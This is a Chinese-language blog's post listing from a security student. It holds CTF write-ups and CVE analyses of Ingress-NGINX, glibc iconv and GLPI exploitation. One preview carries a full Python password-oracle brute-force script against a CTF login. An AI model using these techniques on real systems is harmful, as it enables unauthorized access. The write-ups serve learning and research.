在大學裡,慢慢成為自己

大學畢業了。回頭看這四年,還是覺得一切有點不真實,除了大一之外,後來每個學期都過得很快,甚至有很多段落都有點模糊了,直到重新回想這些經歷,才發現自己在大學裡面有了些許的成長,也讓我對於資安這個領域有了更深的認識和興趣。 剛進大學的我 剛透過特殊選才進入大學時,我對大學生活除了充滿期待,也有不少不安。 從國中開始就想成為軟體工程師,但那時其實不知道資訊工程底下還有哪些領域,也沒有什麼具體目標,只知道自己或許喜歡寫程式。也因為高中時已經接觸過一段時間的競程,大一程式設計課的許多內容和題目對我來說並不陌生。雖然學起來相對輕鬆,卻也少了一點挑戰和成就感,有時甚至會覺得有些無聊。 相較之下,數學課和物理課反而帶來不少挑戰。只是當時的我對這些科目沒有太大的興趣,所以大多抱持著「能順利修過就好」的想法(其實很多課後面也是 XDD)。 不過也因為課業之外還有一些餘裕,我開始把時間投入其他地方,嘗試參加社團、比賽,以及各種原本沒有接觸過的活動。當時只是想多看看、多試一點,沒想到這些課堂外的經歷,後來反而成為我大學生活中最重要的一部分。 黑客社的影響 一開始會想加入黑客社,是因為以前就聽過社團的名氣,也有認識的學長在裡面擔任幹部。當時只是想多接觸資訊工程的不同領域,或許也順便認識一些有共同興趣的人,沒想到最後竟然因此踏進了高中時完全沒想過自己會走上的資安領域。 但剛開始接觸 CTF 時,即使是最簡單的題目,我也常常要一邊查資料、一邊慢慢摸索才能解出來。看到很多人好像很快就知道該從哪裡下手,自己卻連題目在做什麼都不太確定,多少還是會覺得挫折。 不過,隨著解過的題目越來越多,我也逐漸開始上手。尤其接觸 Reverse 和 Pwn 之後,或許是對於 C/C++ 比較熟悉的關係所以比較好上手,學習的過程也變得越來越順。從一開始什麼都要查,到後來能在一些線上 CTF 中獨立解出題目,這些小成果讓我開始覺得,或許資安也是一個可以嘗試的領域。 後來,我也開始和社團朋友一起參加比賽。雖然當時的成績不太好,但大家一起讀題、交換想法,在卡了很久之後終於找到突破口的感覺,直到現在都還是讓我很懷念。即使近年 LLM 已經逐漸改變了 CTF 的解題方式,我仍然很珍惜那段和大家一起腦力激盪、共同解出題目的經歷。 再後來,我獲得社團學長的信任,接下學術部長的工作,開始負責課程與教學。第一次站到分享知識的那一側時,其實有點害怕,也很擔心自己講得不夠清楚。不過,在一次次準備教材與實際授課之後,我也慢慢習慣了這個角色,甚至開始有了到校外資安社團授課的機會。 競賽中的成長 除了資安之外,競程也是我大學生活中很重要的一部分。 高中就開始接觸競程的我,在大學還沒正式開學前就找到了隊友,沒想到這支隊伍一路組到了大四。這幾年間,我們參加了 PUPC、NCPC、ICPC、TOPC 等大大小小的比賽,幾乎只要有機會參加的都去打過了。 或許我們的成績沒有到特別突出,而我也不是隊伍裡貢獻最多的人,甚至有時候比賽打到一半,腦袋還會突然當機。不過,很謝謝隊友一直以來的陪伴與包容,讓我們能夠從剛進大學一路比到畢業。 到最後,真正記下的或許不只是成績,而是一起討論、一起比賽的過程。能夠和同一群隊友一起走過四年,對我來說真的是一件很幸運的事情。 資安相關競賽則是另一種不同的體驗。雖然沒有固定的隊伍,但我也陸續參加了 AIS3 EOF、神盾盃、金盾獎、技能競賽、韓國金盾、POC CTF、picoCTF、MyFirstCTF、T 貓盃之類的,以及因為畢業專題的關係有參與過一些專題類型的競賽,也因此有機會和不同的人合作。 雖然成績大多數都有點慘,但對當時的我來說,只要能夠好好比賽,持續進步,甚至是進決賽,都是很重要的里程碑。可能是比起最後拿到什麼名次,這些經歷更重要的地方,是讓我學會如何和不同的人一起面對問題,也慢慢習慣在不確定中尋找答案。 各種 part-time job 與社群的經驗 除了社團和比賽,大學期間的我也到處兼差,做過校內外助教、電腦教室維護,以及資安中心的網站、網路與 App 安全檢測之類的工作。 一部分是因為當時對單純念書沒有太大的興趣,另一部分則是想趁著還有時間,多嘗試一些不同的事情。由於一些程式相關課程對我來說相對熟悉,也因此受到老師的注意與邀請,在修完課程後的下一個學期,開始擔任程式設計、資料結構等課程的助教。 成為助教之後,我才慢慢發現,自己會寫和能讓別人理解其實是兩件完全不同的事情。無論是設計題目、回答學生的問題,還是嘗試用更簡單的方式解釋一個觀念,都會迫使我重新整理那些原本以為自己已經懂了的內容。 後來,我也開始有到校外資安社團授課的經驗,也有擔任過 AIS3 Junior 的助教,同時也有參加更多資安研討會、課程與社群活動的機會。這些經驗讓我逐漸走出原本熟悉的校園環境,也認識了許多比自己厲害、願意分享經驗的人。 到了大三,我參加 AIS3 與好厲駭導師培訓,進而進入讀書會接觸更進階的內容。雖然直到現在仍然常常覺得很難,但也正是從這裡開始,我對資安的理解不再只停留在 CTF,而是慢慢走向真實世界的漏洞研究。 AIS3 計畫對我的幫助 AIS3 以及後來參與的好厲駭導師培訓,是我大學四年中很重要的一部分。從暑期營隊、AIS3 Junior 助教,到進入讀書會接受導師指導,每一段經歷都在不同階段推了我一把。 一開始參加 AIS3 暑期營隊,表面上是希望學到更多資安知識,實際上多少也有點想證明自己可以靠 pre-exam 進入營隊。沒想到進去之後,不只從課程中學到許多技巧,也認識了不少朋友。 後來,連續三屆擔任 AIS3 Junior 助教,開始協助別人學習的人。 不過,對我影響更深的,則是好厲駭的導師培訓。 剛進入培訓時,我對資安的接觸大多還停留在 CTF,對真實世界的漏洞研究幾乎沒有什麼概念。很幸運地,我在導師媒合時媒合到 Angelboy。而當時接到的任務聽起來很單純,就是在讀書會裡好好聽、好好學,可以開始從 CTF 轉向真實世界的漏洞研究。 實際開始之後,其實每次讀書會的內容都比想像中困難很多。有些東西第一次聽時完全不知道在說什麼,只能回去繼續查資料、重新理解,然後在下一次讀書會再試著跟上。老實說,到了現在還是常常覺得很難,但和剛開始時相比,至少已經不再完全是什麼都不懂的人了。 從一開始只熟悉 CTF 題型,到後來真的能在軟體、函式庫、工具中找到一些漏洞,這段距離對我來說其實走了很久。很謝謝導師一路以來的指導與肯定,也很幸運能連續兩年獲得表現優異獎。這些肯定並不代表我做得足夠好,但讓我知道,自己正朝著想走的方向前進。 ...

2026-09-04 · 1 min · 104 words · YJK

AIS3 EOF 2026 Qual writeup

前言 先排個雷,這次比賽的 writeup 很大比例是 LLM 協助完成的,包含題目分析、解題思路、程式碼撰寫等,多數題目都是,所以如果想看到 LLM 的極限可以參考這篇 writeup,但如果想看到純人力的解題過程可能不太適合 (X。 Score/Rankings welcome Welcome flag: EOF{2026-quals-in-2025} 加入 discord 然後在 announcement 頻道旁邊 misc MRTGuessor flag: EOF{catch_up_MRT_by_checking_the_timetable_in_advance} 只有三次機會,要猜以下圖片是台北捷運板南線的哪一站 仔細比對各站的天花板跟燈的相對方向最後猜滿三次,答案是忠孝新生 SaaS flag: EOF{TICTACTOE_TICKTOCTOU} 題目給了 example.c 和 seccomp-sandbox.c ,然後如題名所示是提供一個類似 SaaS 的 service,可以允許使用者上傳檔案,接下來會在一個有 seccomp rule 的 docker sandbox 裡面執行,那基本上就是要直接去讀 sandbox 裡面的 /flag 檔案,會被抓下來的部分如下 基本上 sandbox 使用 seccomp user notification 在 user-space 攔截並檢查相關的 syscall。 結論來說 open 系列被欄之後會去檢查 pathname,link 系列會去防止 link-based bypass,mount 會防 FS rebind,name_handle_at 防 inode handle bypass,那整體流程經過分析 seccomp-sandbox.c 會得知流程為 ...

2025-12-24 · 48 min · 10066 words · YJK

115 資工所、資安所碩士推甄心得

前言 隔了好幾年,又到了要決定是否繼續升學的時候。和多年前特選不得不念大學的情況不同,這次的決定過程比較掙扎,我一直覺得「碩士學歷能帶給我的實際幫助」是未知數。然而,這可能是人生最後一段求學時光,再加上相比大學剛入學時,我在經歷、作品、資安參與等方面的累積已經多不少,因此最後還是決定挑戰看看。 前面提到的「優勢」不包含成績。因為我的在校成績並不好,用推甄的角度來看根本沒辦法依靠成績取勝。但我還是想試試看,尤其是想挑戰資工正所及一些大家普遍認為「特別看重成績」的系所。後來的結果也驗證如果想推甄,成績真的還是很重要,我只是因為不信邪所以想試試看而已,也因此投掉了這學期賺到的助教薪水 (X。 最後結果: 系所 第一階段 第二階段 結果 交大資安甲組 77.34/100 X 備 31 交大資安乙組 61.78/100 X FAIL 交大資工丙組 79.5/100 沒過 X FAIL 交大資工丁組 79.33/100 沒過 X FAIL 交大資工戊組 80.83/100 71.25/100 備 12 交大資訊聯招 66.88/100 X FAIL 交大智能系統聯招 79.18/100(乙組)、70/100(其他) X 乙組備72、其他全 FAIL 清大資工甲組 71.02/100 X FAIL 清大資安所 84.00/100 91.67/100 正取 清大資應所 67.34/100 沒過 X FAIL 成大資工甲組 37.09/50 沒過 X FAIL 成大智慧資安 37.75/50 沒過 X FAIL 台科資工甲組 82.60/100 沒過 X FAIL 台科資工乙組 81.80/100 沒過 X FAIL 台科資管資安 80.71/100 沒過 X FAIL 中央資工 78.29/100 沒過 X FAIL 中央軟工 87.64/100 55.00/100 備取 10 中山資工甲組 76/100 沒過 X FAIL 中山資安 77.00/100 53.50/100 備取 17 中正資工 68.60/100 沒過 X FAIL 北科資工甲組 75.0/100 沒過 X FAIL 北科資安 89.67/100 X 逕取 這些結果大致上都符合預期,只有台科資安沒進面試、書審就被刷掉是比較意外的。 另外,原本以為北科資安會面試後然後錄取,結果最後直接逕取;清大資安則是驚喜,本來以為會落在備取或臨界,沒想到面試成績不錯,最後順利正取。 ...

2025-12-01 · 2 min · 242 words · YJK

Nullcon Berlin HackIM 2025 CTF writeup

這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確 Web grandmas_notes 網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。 問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破 1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!"; exploit.py 1import re 2import sys 3import time 4import random 5from typing import Optional 6import requests 7 8DEFAULT_BASE = "http://52.59.124.14:5015" 9CHARSET = ( 10 "abcdefghijklmnopqrstuvwxyz" 11 "0123456789" 12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~" 13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 14 "'\"" 15) 16 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE) 18 19def parse_flash_count(html: str) -> Optional[int]: 20 m = FLASH_RGX.search(html) 21 if not m: 22 return None 23 return int(m.group(1)) 24 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]: 26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15) 27 if "Dashboard" in resp.text and "Logged in as" in resp.text: 28 return True, None 29 n = parse_flash_count(resp.text) 30 return False, n 31 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str: 33 s = requests.Session() 34 prefix = "" 35 last_n = 0 36 print(f"[+] Target: {base} user={username}") 37 print("[+] Starting prefix oracle attack...") 38 for pos in range(max_len): 39 found = None 40 for c in CHARSET: 41 candidate = prefix + c 42 ok, n = attempt(s, base, username, candidate) 43 if ok: 44 print(f"[+] Logged in early with full password: {candidate}") 45 return candidate 46 if n is None: 47 time.sleep(0.2 + random.random() * 0.3) 48 ok2, n2 = attempt(s, base, username, candidate) 49 if ok2: 50 print(f"[+] Logged in early with full password: {candidate}") 51 return candidate 52 n = n2 53 if n is None: 54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)") 55 continue 56 if n > last_n: 57 found = c 58 last_n = n 59 prefix = candidate 60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}") 61 break 62 if found is None: 63 print("[!] No candidate increased the match count.") 64 ok, _ = attempt(s, base, username, prefix) 65 if ok: 66 print(f"[+] Logged in with recovered password: {prefix}") 67 return prefix 68 else: 69 print("[!] Likely the next character is outside the current CHARSET.") 70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).") 71 break 72 time.sleep(0.05) 73 return prefix 74 75 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]: 77 r = s.get(f"{base}/dashboard.php", timeout=15) 78 if r.status_code != 200: 79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}") 80 return None 81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE) 82 if not m: 83 return None 84 note = m.group(1) 85 return note.strip() 86 87def main(): 88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE 89 username = "admin" 90 s = requests.Session() 91 recovered = recover_password(base, username=username, max_len=32) 92 ok, _ = attempt(s, base, username, recovered) 93 if not ok: 94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}") 95 sys.exit(2) 96 print(f"[+] Logged in as {username}. Fetching note...") 97 note = fetch_flag(base, s) 98 if note is None: 99 print("[!] Could not find the note textarea.") 100 sys.exit(3) 101 print("\n=== NOTE ===") 102 print(note) 103 print("============") 104 print("[*] If the note contains the flag, you're done!") 105 106if __name__ == "__main__": 107 main() pwgen source code ...

2025-09-06 · 21 min · 4326 words · YJK

TeamT5 Security Camp 資安培訓營 2025

前言 今年(2025 年)寒假我參加了 TeamT5 舉辦的 Security Camp 資安培訓營,整體來說收穫滿滿,也認識了很多志同道合的朋友,在講心得前先介紹一下這個營隊。 這個營隊是從 2021 年起由 TeamT5 主辦、專為學生打造的資安職場訓練營隊!營隊課程會以實務操作為主,帶領學員一步步解析、體驗資安研究員的日常任務。讓學員能快速學習,了解每個資安工作角色的具體工作內容,進而找到適合自己的位置! 而根據 TeamT5 的介紹五天的 Security Camp 資安培訓營會接觸到以下內容: 追蹤威脅情資的攻擊脈絡:從樣本分析到追查惡意攻擊族群 資安事件調查起手式:在受害環境中查找蛛絲馬跡 與系統底層一日邂逅:從程式逆向到撰寫外掛 漏洞挖掘的深入體驗:漏洞研究員的樸實無華與快樂 而在參加前會有一個小小的徵選,目的是為了找到對資訊安全有基礎能力之在學生,而徵選的前測題目在這一屆有三大類(僅需選擇一題繳交即可),包含: 木馬程式實作 惡意程式分析 韌體漏洞研究 而三個題目中我選擇了第三題韌體漏洞研究,因為我本身對韌體的興趣比較大,過去也有一些相關的經驗,且也想藉此從零開始對一個韌體、漏洞做研究,而這一題就是只給一個韌體檔與 CVE 編號,讓自己去研究如何拆解韌體、定位漏洞、分析漏洞、模擬服務、撰寫 PoC、最後撰寫出一份完整的研究報告,整體的過程就是一個簡化過的韌體漏洞研究流程,但題目也不是到非常難,印象中我只花了大約 1、2 天的時間就完成了實作部分,但是撰寫報告花了比較多時間(畢竟很懶得寫報告 XDD),最後也順利通過了徵選,並在 2025/01/07~2025/01/10 參加了營隊,並且在 2025/01/16 參加了最後的專題發表。 而另外兩個題目就如字面上所述,木馬程式實作就是要自己寫一個木馬程式,而完成的項目在題目說明也有一步一步說明清楚,最後也要繳交出自己的程式碼,具體內容可以參考 Zeze 在成大資安社的頻道的社課教學:錄影1、錄影2、錄影3,而這也是營隊課程中的一部分(後續會再提到一部份)。 而惡意程式分析則是給惡意程式,讓自己去分析這個惡意程式的行為、各種特徵、資訊,並且最後也要撰寫一份分析報告,但個人對於惡意程式分析相對比較沒有興趣,所以就沒有特別去研究這一題的內容,但營隊課程一樣有相關課程。 營隊內容 前面有提到營隊內容會以實務操作為主,帶領學員一步步解析、體驗資安研究員的日常任務,而這次的營隊課程分成 4 天進行,分別是: Day 1:資安事件處理剖析(#Incident Response #Forensic) Day 2:漏洞挖掘的深入體驗(#Vulnerability #IoT Security) Day 3:與系統底層一日邂逅(#Anti-debugging #Reverse #Hooking) Day 4:初探威脅情資的奧秘(#APT #Threat Intelligence) 而在隔一周後會有交流分享會&活動總結等,會需要各組進行專題發表,做為這次營隊的結業,而現在就簡短講一下這四天的課程內容,但基本上有些內容是不太能公開(我也忘記有哪些了,所以就都簡單帶過)。 順帶一提,營隊中的午餐、點心、飲料都是由 TeamT5 幫忙準備的,餐點部分也都還不錯吃,以下為了怕純文字太無聊,所以也會附上餐點的照片 XDD Day 1:資安事件處理剖析 第一天的課程主要是講解資安事件調查、處理的流程與方式,並且透過實際案例分析,讓學員能夠更深入了解在資安事件發生時,應該如何進行調查與取證,並且學習到一些常用的工具與技巧,而有實作到的包含 Linux Server 事件調查、IIS Web Server 事件調查、Windows DC Server 事件調查等,而雖然到現在還是沒有到很熟悉這些流程,因為我覺得包含不少經驗的累積,像是要怎麼去找 root cause、怎麼去分析 log、怎麼去還原事件流程等,但至少有個基本的概念,知道要怎麼去做這些事情。 ...

2025-08-27 · 1 min · 186 words · YJK

AIS3 Pre-exam 2025 writeup

author:YJK ID:YJK Misc Welcome flag: AIS3{Welcome_And_Enjoy_The_CTF_!} 免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag Ramen CTF flag: AIS3{樂山溫泉拉麵:蝦拉麵} 圖片右邊有一張發票條碼沒有被擋 掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店 google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號 此地址在 google map 上是 樂山溫泉拉麵 AIS3 Tiny Server - Web / Misc flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe} 雖然題目敘述說建議 local 先解解看,但我直接開 instance, 點進去會發現是題目簡介網頁,並發現網址給了 index.html 另外題目有給小提示,專注在第一個提示就好 因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺 不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案 ...

2025-07-01 · 11 min · 2304 words · YJK

CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974 分析報告

Overview Ingress-NGINX 是一個 Ingress controller 可以拿來讓 Kubernetes 的 application 暴露到外網,他會接受傳入的流量,並且架接到相關 Kubernetes 服務,那 Kubernetes 服務又會基於一組原則把流量轉發到 POD,總結來說 Ingress-NGINX 是做反向代理的 那官方也在文件直接推薦使用 Ingress-nginx 作為 Ingress controller Product Version Ingress-NGINX 1.11.5 以下的版本 Root Cause Analysis Remote NGINX Configuration Injection 處理傳入的請求時,Admissin controller 會基於模板跟 ingress 生成臨時的設定文件,並且會使用 nginx -t 測試是否有效 1// testTemplate checks if the NGINX configuration inside the byte array is valid 2// running the command "nginx -t" using a temporal file. 3func (n *NGINXController) testTemplate(cfg []byte) error { 4... 5 tmpfile, err := os.CreateTemp(filepath.Join(os.TempDir(), "nginx"), tempNginxPattern) 6... 7 err = os.WriteFile(tmpfile.Name(), cfg, file.ReadWriteByUser) 8... 9 out, err := n.command.Test(tmpfile.Name()) 10 11func (nc NginxCommand) Test(cfg string) ([]byte, error) { 12 //nolint:gosec // Ignore G204 error 13 return exec.Command(nc.Binary, "-c", cfg, "-t").CombinedOutput() 14} 不過通常只有 Kubernetes API 可以發送這一種 request,但因為 admission controller 缺乏驗證,所以如果有訪問的權力就可以去製造特定請求並且從任意 POD 發送 先使用 Kube-Review 創建 Ingress Resource 的 request,並透過 HTTP 直接傳送到 admission controller ...

2025-06-14 · 8 min · 1601 words · YJK

CVE-2024-2961 分析報告

Overview CVE-2024-2961 是一個發生在 GNU C Library(glibc)中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c,在處理特定中文字符(如「劄」「䂚」)並轉換為 ISO-2022-CN-EXT 編碼時,未正確檢查輸出 buffer 大小,導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。 由於 iconv 常被用於 PHP,因此該漏洞可以與 php://filter/convert.iconv.* 結合,造成 Overflow,進而實現 leak、甚至達成 RCE。 Affected Versions glibc iconv:支援 ISO-2022-CN-EXT 的版本 PHP:多數版本(含 PHP 7.x, 8.x) 框架與系統:例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等,符合下列條件: 有 file_get_contents($_GET[‘file’]) 類似行為 可以透過 php://filter 執行 filter-chain Root Cause Analysis ISO-2022-CN-EXT 漏洞 由多個子字符集組成,專門用於轉換中文字,是 ISO-2022-CN 的擴充,可以做大量中文字元轉換 流程:需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查 source code ...

2025-04-30 · 8 min · 1651 words · YJK

CVE-2025-24799/CVE-2025-24801 分析報告

Overview GLPI 是使用 PHP 開發的資訊資產管理系統,具備豐富的整合性功能,可連接 AD、各類 IT 應用與設備。由於其大量介接與自動化能力,長期以來具備多個潛在攻擊面,這次分析的主要是 CVE-2025-24799/CVE-2025-24801 兩個漏洞 CVE-2025-24799:GLPI Inventory API 中有一個 pre-auth SQL injection 漏洞,可經由 XML 傳入惡意的 device ID,導致 SQL injection,可以進一步控制資料庫。 CVE-2025-24801:透過預設啟用功能與系統機制,可將 SQLi 的漏洞利用擴展從 LFI 到 RCE,達成完整攻擊鏈。 此攻擊鏈由於無須經過身分驗證因此可以由未驗證攻擊者觸發,導致 RCE。 Product Version Product:GLPI Version:10.0.17 Language/Platform:PHP 8.x, Apache/Nginx, MySQL Mode:Inventory Agent API、Calendar、Marketplace、TCPDF Root Cause Analysis Pre-auth SQL Injection (CVE-2025-24799) 漏洞在 GLPI 的 Inventory 原生功能(通常是啟用狀態),不用身分驗證即可觸發,漏洞點在 /src/Agent.php 裡面的 handleAgent() 呼叫到 dbEscapeRecursive() 的地方,首先看一下 handleAgent() /src/Agent.php:handleAgent() 1<?php 2 public function handleAgent($metadata) 3 { 4 /** @var array $CFG_GLPI */ 5 global $CFG_GLPI; 6 7 $deviceid = $metadata['deviceid']; 8 9 $aid = false; 10 if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) { 11 $aid = $this->fields['id']; 12 } 可以發現 handleAgent() 會接收 user input 並且儲存到 $deviceid 等變數,接下來經過 Sanitizer function dbEscapeRecursive() 再傳給 getFromDBByCrit(),接下來看一下 getFromDBByCrit() ...

2025-03-20 · 3 min · 467 words · YJK

Day30-最後總結

總結 這一次的鐵人賽從頭開始介紹了組合語言、如何使用 GDB、ELF 檔的保護機制與工具,接著介紹了 stack 和 heap 相關的漏洞。這段過程中,我將過去一年在 PWN 領域學到的技巧與知識系統地整理了出來,並透過一些 demo 和 lab 幫助讀者更好地理解內容。這樣的互動方式能讓大家不僅是被動閱讀,還能實際操作,增強參與感,也避免了那種只看理論卻不知道如何實際操作的情況。 雖然這次鐵人賽的重點是介紹 ELF 檔的相關知識,但事實上,「萬物皆可 PWN」。無論是小小的 ELF 執行檔、Windows 的 PE 執行檔,還是每個人天天使用的瀏覽器,甚至到家中的 IoT 智慧家電,都可能成為 PWN 的目標。PWN 的技術也是多種多樣,因而被認為是 CTF 中最難掌握的分類之一。這次的主題正是希望為想要入門 PWN 領域的人提供一個較為簡單的教材,讓大家能夠更容易地踏進這個領域。 心得 這次的主題其實是在參賽前一個月才做的更改,原本計劃是從 reverse 開始講解,並在後面再介紹一些 PWN 的基礎知識與漏洞。然而,經過一個暑假的學習和參加了 AIS3 之後,我發現自己可以分享的 PWN 知識其實足以支撐整個月的文章內容,並且也有很多值得深入探討的主題。同時,我也藉此機會強迫自己開始學習 Heap 相關的知識與漏洞,這讓我的研究領域更加多元化。 雖然這次的內容寫得不算很完美,但搭配著自己設計的 lab,相信讀者會有更高的參與感。在準備這些 lab 的過程中,我自己也學到了許多額外的知識,這是一個額外的收穫。我也希望能在未來繼續精進,持續努力。 最後,我要感謝一路上支持我學習資訊安全的各種資源、課程、文章以及講師、學長姐。大家也可以參考 AngelBoy 過去的文章和影片,是理解 Heap 結構非常好的教材。另外,張元的教材 也是非常推薦的資源。想進一步學習的人也可以考慮參加台灣好厲駭、AIS3 或 SCIST 的課程,這些都是極有幫助的學習途徑。 謝謝大家這一個月來的收看與支持!

2024-10-14 · 1 min · 58 words · YJK